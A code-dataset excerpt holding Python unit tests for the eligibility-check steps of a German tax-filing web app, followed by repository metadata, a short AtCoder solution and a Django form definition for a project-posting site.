form_data=ImmutableMultiDict({'other_income_eligibility': 'yes'})) expected_url = step.url_for_step(IncomeOtherEligibilityFailureDisplaySteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.next_url) def test_if_no_employment_income_session_data_correct_then_set_prev_url_correct(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(EmploymentDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_employment_income_but_marginal_session_data_correct_then_set_prev_url_correct(self): alternative_data = {**self.correct_session_data.copy(), **{'employment_income_eligibility': 'yes', 'marginal_employment_eligibility': 'yes'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(alternative_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(MarginalEmploymentIncomeDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) @pytest.mark.usefixtures('test_request_context') def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self): with patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'other_income_eligibility': 'no'})) self.assertRaises(IncorrectEligibilityData, step.handle) def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'no', 'marginal_employment_eligibility': 'yes', 'other_income_eligibility': 'no'} session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self): with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(self.correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(self.correct_session_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_get_and_full_data_from_session_then_delete_unnecessary_data(self): only_necessary_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'separated_lived_together_eligibility': 'no', 'separated_joint_taxes_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'no', 'marginal_employment_eligibility': 'yes', 'other_income_eligibility': 'no'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() self.assertEqual(only_necessary_data, deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY])) def test_if_multiple_users_then_show_multiple_text(self): session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'no', 'employment_income_eligibility': 'no', 'marginal_employment_eligibility': 'yes'} expected_number_of_users = 2 expected_choices = [('yes', ngettext('form.eligibility.income_other.yes', 'form.eligibility.income_other.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.income_other.no', 'form.eligibility.income_other.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.other_income_eligibility.choices) def test_if_single_user_then_show_single_text(self): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'no', 'employment_income_eligibility': 'no', 'marginal_employment_eligibility': 'yes'} expected_number_of_users = 1 expected_choices = [('yes', ngettext('form.eligibility.income_other.yes', 'form.eligibility.income_other.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.income_other.no', 'form.eligibility.income_other.no', num=expected_number_of_users))] with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() self.assertEqual(expected_choices, step.render_info.form.other_income_eligibility.choices) class TestForeignCountriesEligibilityFailureDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, test_request_context): self.req = test_request_context def test_handle_sets_correct_prev_url(self): step = ForeignCountriesEligibilityFailureDisplaySteuerlotseStep( endpoint='eligibility', render_info=ForeignCountriesEligibilityFailureDisplaySteuerlotseStep.prepare_render_info( {})) expected_url = step.url_for_step(ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) class TestForeignCountriesDecisionEligibilityInputFormSteuerlotseStep: @pytest.fixture def correct_session_data(self): correct_session_data = { 'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'yes', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'yes', 'marginal_employment_eligibility': 'yes', 'other_income_eligibility': 'no'} return correct_session_data @pytest.fixture def correct_session_data_users_have_elster(self): correct_session_data = { 'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes', 'user_b_has_elster_account_eligibility': 'yes', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'yes', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'yes', 'marginal_employment_eligibility': 'yes', 'other_income_eligibility': 'no'} return correct_session_data @pytest.fixture def correct_session_data_user_a_have_elster(self): correct_session_data = { 'marital_status_eligibility': 'divorced', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes', 'user_b_has_elster_account_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'yes', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'yes', 'marginal_employment_eligibility': 'yes', 'other_income_eligibility': 'no'} return correct_session_data @pytest.fixture def correct_session_data_single_user_a_have_elster(self): correct_session_data = { 'marital_status_eligibility': 'single', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'yes', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'yes', 'marginal_employment_eligibility': 'yes', 'other_income_eligibility': 'no'} return correct_session_data def test_if_post_and_session_data_correct_and_input_data_correct_then_set_success_step(self, app, correct_session_data): with app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'foreign_country_eligibility': 'no'})) expected_url = step.url_for_step(EligibilitySuccessDisplaySteuerlotseStep.name) step.handle() assert step.render_info.next_url == expected_url def test_if_post_and_session_data_correct_and_user_is_single_and_no_elster_account_input_data_correct_then_set_maybe_step(self, app, correct_session_data_single_user_a_have_elster): with app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(correct_session_data_single_user_a_have_elster)}) step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'foreign_country_eligibility': 'no'})) expected_url = step.url_for_step(EligibilityMaybeDisplaySteuerlotseStep.name) step.handle() assert step.render_info.next_url == expected_url def test_if_post_and_session_data_correct_and_both_user_has_elster_and_input_data_correct_then_set_maybe_step(self, app, correct_session_data_users_have_elster): with app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(correct_session_data_users_have_elster)}) step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'foreign_country_eligibility': 'no'})) expected_url = step.url_for_step(EligibilityMaybeDisplaySteuerlotseStep.name) step.handle() assert step.render_info.next_url == expected_url def test_if_post_and_session_data_correct_and_user_a_has_elster_and_input_data_correct_then_set_success_step(self, app, correct_session_data_user_a_have_elster): with app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(correct_session_data_user_a_have_elster)}) step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'foreign_country_eligibility': 'no'})) expected_url = step.url_for_step(EligibilitySuccessDisplaySteuerlotseStep.name) step.handle() assert step.render_info.next_url == expected_url def test_if_post_and_session_data_correct_and_input_data_incorrect_then_set_next_url_to_failure_step(self, app, correct_session_data): with app.test_request_context(method='POST') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, True, ImmutableMultiDict({'foreign_country_eligibility': 'yes'})) expected_url = step.url_for_step(ForeignCountriesEligibilityFailureDisplaySteuerlotseStep.name) step.handle() assert step.render_info.next_url == expected_url def test_if_session_data_correct_then_set_prev_input_step_correctly(self, app, correct_session_data): with app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(IncomeOtherDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() assert step.render_info.prev_url == expected_url def test_if_post_and_data_from_before_invalid_then_raise_incorrect_eligibility_data_error(self, app): with app.test_request_context(method='POST'), \ patch('app.model.recursive_data.RecursiveDataModel.one_previous_field_has_to_be_set', MagicMock(side_effect=PreviousFieldsMissingError)): step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, True, form_data=ImmutableMultiDict({'other_income_eligibility': 'no', 'foreign_country_eligibility': 'no'})) with pytest.raises(IncorrectEligibilityData): step.handle() def test_if_get_and_incorrect_data_from_session_then_delete_incorrect_data(self, app): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'no', 'cheaper_check_eligibility': 'no', 'employment_income_eligibility': 'no', 'marginal_employment_eligibility': 'yes', 'other_income_eligibility': 'no', 'foreign_country_eligibility': 'no'} session_data_with_incorrect_key = {**session_data, **{'INCORRECT_KEY': 'UNNECESSARY_VALUE'}} with app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data_with_incorrect_key)}) step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() assert deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY]) == session_data def test_if_get_and_correct_data_from_session_then_do_not_delete_any_data(self, app, correct_session_data): with app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() assert deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY]) == correct_session_data def test_if_get_and_full_data_from_session_then_delete_no_data(self, app): with app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(FULL_SESSION_DATA)}) step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step.handle() assert deserialize_session_data(req.session[_ELIGIBILITY_DATA_KEY]) == FULL_SESSION_DATA def test_if_multiple_users_then_show_multiple_text(self, app): session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'no', 'employment_income_eligibility': 'no', 'marginal_employment_eligibility': 'yes', 'other_income_eligibility': 'no'} expected_number_of_users = 2 expected_choices = [('yes', ngettext('form.eligibility.foreign_country.yes', 'form.eligibility.foreign_country.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.foreign_country.no', 'form.eligibility.foreign_country.no', num=expected_number_of_users))] with app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() assert step.render_info.form.foreign_country_eligibility.choices == expected_choices def test_if_single_user_then_show_single_text(self, app): session_data = {'marital_status_eligibility': 'single', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'no', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'no', 'employment_income_eligibility': 'no', 'marginal_employment_eligibility': 'yes', 'other_income_eligibility': 'no'} expected_number_of_users = 1 expected_choices = [('yes', ngettext('form.eligibility.foreign_country.yes', 'form.eligibility.foreign_country.yes', num=expected_number_of_users)), ('no', ngettext('form.eligibility.foreign_country.no', 'form.eligibility.foreign_country.no', num=expected_number_of_users))] with app.test_request_context(method='GET') as req: req.session = SecureCookieSession({_ELIGIBILITY_DATA_KEY: create_session_form_data(session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name, False, ImmutableMultiDict({})) step._pre_handle() assert step.render_info.form.foreign_country_eligibility.choices == expected_choices class TestEligibilitySuccessDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, test_request_context, app): self.req = test_request_context self.app = app def test_if_session_data_correct_then_set_prev_input_step_correctly(self): correct_session_data = {'marital_status_eligibility': 'single', 'user_a_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'no', 'employment_income_eligibility': 'no', 'other_income_eligibility': 'no', 'foreign_country_eligibility': 'no'} with self.app.test_request_context(method='GET') as req: req.session = SecureCookieSession( {_ELIGIBILITY_DATA_KEY: create_session_form_data(correct_session_data)}) step = EligibilityStepChooser('eligibility').get_correct_step( EligibilitySuccessDisplaySteuerlotseStep.name, False, ImmutableMultiDict({})) expected_url = step.url_for_step(ForeignCountriesDecisionEligibilityInputFormSteuerlotseStep.name) step.handle() self.assertEqual(expected_url, step.render_info.prev_url) def test_if_user_b_has_no_elster_account_then_set_correct_info(self): expected_information = [_('form.eligibility.result-note.user_b_elster_account-registration-success')] session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no', } with patch('app.forms.steps.eligibility_steps._', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilitySuccessDisplaySteuerlotseStep( endpoint='eligibility', stored_data=session_data, render_info=EligibilitySuccessDisplaySteuerlotseStep.prepare_render_info( {}) ) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) def test_if_user_wants_no_cheaper_check_then_set_correct_info(self): expected_information = [_('form.eligibility.result-note.capital_investment')] session_data = {'marital_status_eligibility': 'single', 'user_a_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'yes', 'cheaper_check_eligibility': 'no', } with patch('app.forms.steps.eligibility_steps._', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilitySuccessDisplaySteuerlotseStep( endpoint='eligibility', stored_data=session_data, render_info=EligibilitySuccessDisplaySteuerlotseStep.prepare_render_info( {}) ) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) def test_if_user_has_no_minimal_investment_income_then_set_correct_info(self): expected_information = [_('form.eligibility.result-note.capital_investment')] session_data = {'marital_status_eligibility': 'single', 'user_a_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'yes', } with patch('app.forms.steps.eligibility_steps._', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilitySuccessDisplaySteuerlotseStep( endpoint='eligibility', stored_data=session_data, render_info=EligibilitySuccessDisplaySteuerlotseStep.prepare_render_info( {}) ) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) def test_if_user_b_has_no_elster_account_and_user_wants_no_cheaper_check_then_set_correct_info(self): expected_information = [_('form.eligibility.result-note.user_b_elster_account-registration-success'), _('form.eligibility.result-note.capital_investment')] session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'yes', 'cheaper_check_eligibility': 'no', } with patch('app.forms.steps.eligibility_steps._', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilitySuccessDisplaySteuerlotseStep( endpoint='eligibility', stored_data=session_data, render_info=EligibilitySuccessDisplaySteuerlotseStep.prepare_render_info( {}) ) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) def test_if_user_b_has_no_elster_account_and_user_has_minimal_investment_income_check_then_set_correct_info(self): expected_information = [_('form.eligibility.result-note.user_b_elster_account-registration-success'), _('form.eligibility.result-note.capital_investment')] session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'yes', } with patch('app.forms.steps.eligibility_steps._', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilitySuccessDisplaySteuerlotseStep( endpoint='eligibility', stored_data=session_data, render_info=EligibilitySuccessDisplaySteuerlotseStep.prepare_render_info( {}) ) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) def test_if_no_user_b_elster_account_and_no_cheaper_check_then_set_no_info(self): expected_information = [] with patch('app.forms.steps.eligibility_steps._', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilitySuccessDisplaySteuerlotseStep( endpoint='eligibility', render_info=EligibilitySuccessDisplaySteuerlotseStep.prepare_render_info( {})) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) class TestEligibilityMaybeDisplaySteuerlotseStep(unittest.TestCase): @pytest.fixture(autouse=True) def attach_fixtures(self, test_request_context, app): self.req = test_request_context self.app = app def test_if_user_b_has_no_elster_account_then_set_correct_info(self): expected_information = [] session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes', 'user_b_has_elster_account_eligibility': 'no', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no', } with patch('app.forms.steps.eligibility_steps._l', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilityMaybeDisplaySteuerlotseStep( endpoint='eligibility', stored_data=session_data, render_info=EligibilityMaybeDisplaySteuerlotseStep.prepare_render_info( {}) ) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) def test_if_both_have_elster_account_then_set_correct_info(self): expected_information = ['form.eligibility.result-note.both_elster_account-registration-maybe'] session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes', 'user_b_has_elster_account_eligibility': 'yes', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no', } with patch('app.forms.steps.eligibility_steps._l', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilityMaybeDisplaySteuerlotseStep( endpoint='eligibility', stored_data=session_data, render_info=EligibilityMaybeDisplaySteuerlotseStep.prepare_render_info( {}) ) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) def test_if_user_wants_no_cheaper_check_then_set_correct_info(self): expected_information = ['form.eligibility.result-note.capital_investment'] session_data = {'marital_status_eligibility': 'single', 'user_a_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'yes', 'cheaper_check_eligibility': 'no', } with patch('app.forms.steps.eligibility_steps._l', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilityMaybeDisplaySteuerlotseStep( endpoint='eligibility', stored_data=session_data, render_info=EligibilityMaybeDisplaySteuerlotseStep.prepare_render_info( {}) ) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) def test_if_user_has_no_minimal_investment_income_then_set_correct_info(self): expected_information = ['form.eligibility.result-note.capital_investment'] session_data = {'marital_status_eligibility': 'single', 'user_a_has_elster_account_eligibility': 'no', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'yes', } with patch('app.forms.steps.eligibility_steps._l', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilityMaybeDisplaySteuerlotseStep( endpoint='eligibility', stored_data=session_data, render_info=EligibilityMaybeDisplaySteuerlotseStep.prepare_render_info( {}) ) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) def test_if_both_users_have_elster_account_and_user_wants_no_cheaper_check_then_set_correct_info(self): expected_information = ['form.eligibility.result-note.both_elster_account-registration-maybe', 'form.eligibility.result-note.capital_investment'] session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes', 'user_b_has_elster_account_eligibility': 'yes', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'no', 'taxed_investment_income_eligibility': 'yes', 'cheaper_check_eligibility': 'no', } with patch('app.forms.steps.eligibility_steps._l', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilityMaybeDisplaySteuerlotseStep( endpoint='eligibility', stored_data=session_data, render_info=EligibilityMaybeDisplaySteuerlotseStep.prepare_render_info( {}) ) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) def test_if_both_users_have_elster_account_and_user_has_minimal_investment_income_check_then_set_correct_info(self): expected_information = ['form.eligibility.result-note.both_elster_account-registration-maybe', 'form.eligibility.result-note.capital_investment'] session_data = {'marital_status_eligibility': 'married', 'separated_since_last_year_eligibility': 'no', 'user_a_has_elster_account_eligibility': 'yes', 'user_b_has_elster_account_eligibility': 'yes', 'joint_taxes_eligibility': 'yes', 'alimony_eligibility': 'no', 'pension_eligibility': 'yes', 'investment_income_eligibility': 'yes', 'minimal_investment_income_eligibility': 'yes', 'taxed_investment_income_eligibility': 'yes', } with patch('app.forms.steps.eligibility_steps._l', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilityMaybeDisplaySteuerlotseStep( endpoint='eligibility', stored_data=session_data, render_info=EligibilityMaybeDisplaySteuerlotseStep.prepare_render_info( {}) ) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes']) def test_if_no_special_case_then_set_only_deadline_info(self): expected_information = [] with patch('app.forms.steps.eligibility_steps._l', MagicMock(side_effect=lambda text_id: text_id)): step = EligibilityMaybeDisplaySteuerlotseStep( endpoint='eligibility', render_info=EligibilityMaybeDisplaySteuerlotseStep.prepare_render_info( {})) step.handle() self.assertEqual(expected_information, step.render_info.additional_info['dependent_notes'])

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0.925266

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04af2b42ae3e6c0bf1206b99acf96634e5fd4226

95

py

Python

code/abc124_c_02.py

KoyanagiHitoshi/AtCoder

731892543769b5df15254e1f32b756190378d292

[ "MIT" ]

3

2019-08-16T16:55:48.000Z

2021-04-11T10:21:40.000Z

code/abc124_c_02.py

KoyanagiHitoshi/AtCoder

731892543769b5df15254e1f32b756190378d292

[ "MIT" ]

null

code/abc124_c_02.py

KoyanagiHitoshi/AtCoder

731892543769b5df15254e1f32b756190378d292

[ "MIT" ]

null

s=input() print(min(s[::2].count("0")+s[1::2].count("1"),s[::2].count("1")+s[1::2].count("0")))

47.5

85

0.505263

22

95

2.181818

0.363636

0.5

0.291667

0.333333

0

0.106383

0.010526

95

2

85

47.5

0.404255

0

0.041667

0

1

0

false

0

0.5

1

0

null

1

0

1

0

1

0

null

0

1

0

7

04b06f0d814185f95da52e69c66216dbdfd08eb6

1,097

py

Python

dzprojects/project/forms.py

Aniter-amine/Projects-Posting

f7ea6739d9cf179963123ef7a11cbf95f9886d48

[ "Apache-2.0" ]

null

dzprojects/project/forms.py

Aniter-amine/Projects-Posting

f7ea6739d9cf179963123ef7a11cbf95f9886d48

[ "Apache-2.0" ]

null

dzprojects/project/forms.py

Aniter-amine/Projects-Posting

f7ea6739d9cf179963123ef7a11cbf95f9886d48

[ "Apache-2.0" ]

null

from django import forms from .models import Project # Categories settings class ProjectForm(forms.ModelForm): class Meta: model = Project fields = ('title', 'body', 'header_image', 'website_link', 'repository_link') widgets = { 'title': forms.TextInput(attrs={'class': 'form-control'}), 'body': forms.Textarea(attrs={'class': 'form-control'}), 'website_link': forms.TextInput(attrs={'class': 'form-control'}), 'repository_link': forms.TextInput(attrs={'class': 'form-control'}), } class EditForm(forms.ModelForm): class Meta: model = Project fields = ('title', 'body', 'header_image', 'website_link', 'repository_link') widgets = { 'title': forms.TextInput(attrs={'class': 'form-control'}), 'body': forms.Textarea(attrs={'class': 'form-control'}), 'website_link': forms.TextInput(attrs={'class': 'form-control'}), 'repository_link': forms.TextInput(attrs={'class': 'form-control'}), }

33.242424

80

0.577028

106

1,097

5.877358

0.264151

